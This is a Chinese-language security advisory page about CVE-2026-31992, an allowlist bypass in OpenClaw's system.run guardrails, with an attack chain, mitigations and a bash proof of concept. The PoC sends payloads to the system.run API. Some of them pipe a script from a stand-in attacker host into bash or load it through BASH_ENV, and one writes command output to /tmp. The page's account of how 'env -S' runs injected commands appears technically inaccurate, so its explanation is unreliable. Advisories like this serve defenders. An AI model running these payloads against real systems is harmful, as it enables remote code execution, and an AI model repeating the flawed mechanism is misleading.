IPBUF安全漏洞报告
English
CVE-2026-31992 CVSS 7.1 高危

CVE-2026-31992 OpenClaw system.run 防护绕过漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-31992
漏洞类型
安全防护绕过
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

CVE-2026-31992OpenClaw安全防护绕过白名单绕过命令注入system.runguardrailsenv -S高危漏洞

漏洞概述

OpenClaw是一款自动化运维与命令执行框架,其核心安全机制通过system.run的guardrails(防护栏)对可执行命令进行白名单限制。2026年3月披露的CVE-2026-31992漏洞表明,在OpenClaw 2026.2.23之前的版本中,存在严重的allowlist(白名单)绕过风险。攻击者利用env命令的-S参数特性,当管理员将/usr/bin/env加入白名单后,可通过env -S在运行时动态注入shell包装载荷(wrapper payloads),绕过静态策略分析,最终实现任意命令执行。该漏洞需要认证身份(低权限operator账户即可),无需用户交互即可完成攻击。CVSS评分7.1,属于高危漏洞,对系统完整性和可用性造成严重影响。

技术细节

漏洞根源在于OpenClaw的guardrails机制对env命令的参数解析不完善。攻击者利用env -S 'string'语法,该参数允许在单次调用中通过空格分隔多个环境变量赋值。例如:env -S 'VAR=value; command' 会被env解析为设置环境变量后执行command。当管理员将/usr/bin/env加入白名单时,system.run的策略检查仅验证env命令本身是否被允许,但无法深入分析-S参数后携带的载荷内容。攻击者通过构造类似 env -S 'x=$(whoami)>/tmp/out' 的payload,利用bash的命令替换和重定向特性,在env执行期间触发shell解释器,最终将命令执行结果写入外部文件。防御措施包括:1) 升级至2026.2.23或更高版本;2) 避免将env命令整体加入白名单;3) 实施更严格的命令参数校验策略。

攻击链分析

STEP 1
步骤1
攻击者获取OpenClaw系统上的operator账户认证(低权限即可)
STEP 2
步骤2
攻击者检查白名单策略,发现/usr/bin/env已被管理员允许执行
STEP 3
步骤3
攻击者构造包含shell包装载荷的env -S命令,如env -S 'x=$(whoami)>/tmp/out'
STEP 4
步骤4
通过OpenClaw的system.run API发送恶意请求
STEP 5
步骤5
guardrails的策略分析仅检查env命令本身,未能识别-S参数后的载荷
STEP 6
步骤6
env -S在运行时触发shell解释器,执行攻击者注入的任意命令
STEP 7
步骤7
攻击者获得服务器命令执行权限,可进一步横向移动或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-31992 PoC - OpenClaw allowlist bypass via env -S # Requires authenticated operator access to OpenClaw system TARGET="http://target-openclaw-server:8080" COOKIE="operator_session_cookie_here" # The vulnerable payload exploits env -S to bypass policy analysis # When /usr/bin/env is allowlisted, this payload executes arbitrary commands PAYLOAD='env -S "x=$(id>/tmp/pwned)"' # Example: Execute through OpenClaw's system.run API curl -X POST "${TARGET}/api/v1/system/run" \ -H "Cookie: session=${COOKIE}" \ -H "Content-Type: application/json" \ -d "{\"command\": \"${PAYLOAD}\"}" # Alternative: Direct shell wrapper payload via env -S PAYLOAD2='env -S "BASH_ENV=<(curl http://attacker.com/shell.sh)"' # The attacker can also chain commands using semicolons PAYLOAD3='env -S "x=$(curl http://attacker.com/rev.sh|bash)"'

影响范围

OpenClaw < 2026.2.23

防御指南

临时缓解措施
在官方补丁发布前,建议立即从白名单中移除/usr/bin/env命令,同时禁用所有包含-S、--split-string参数的命令执行。对于必须使用环境变量的场景,建议通过OpenClaw的安全API而非env命令实现。若业务必须允许env命令,应配置严格的参数过滤规则,拒绝任何包含shell元字符(如$、()、>、<)的参数组合。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表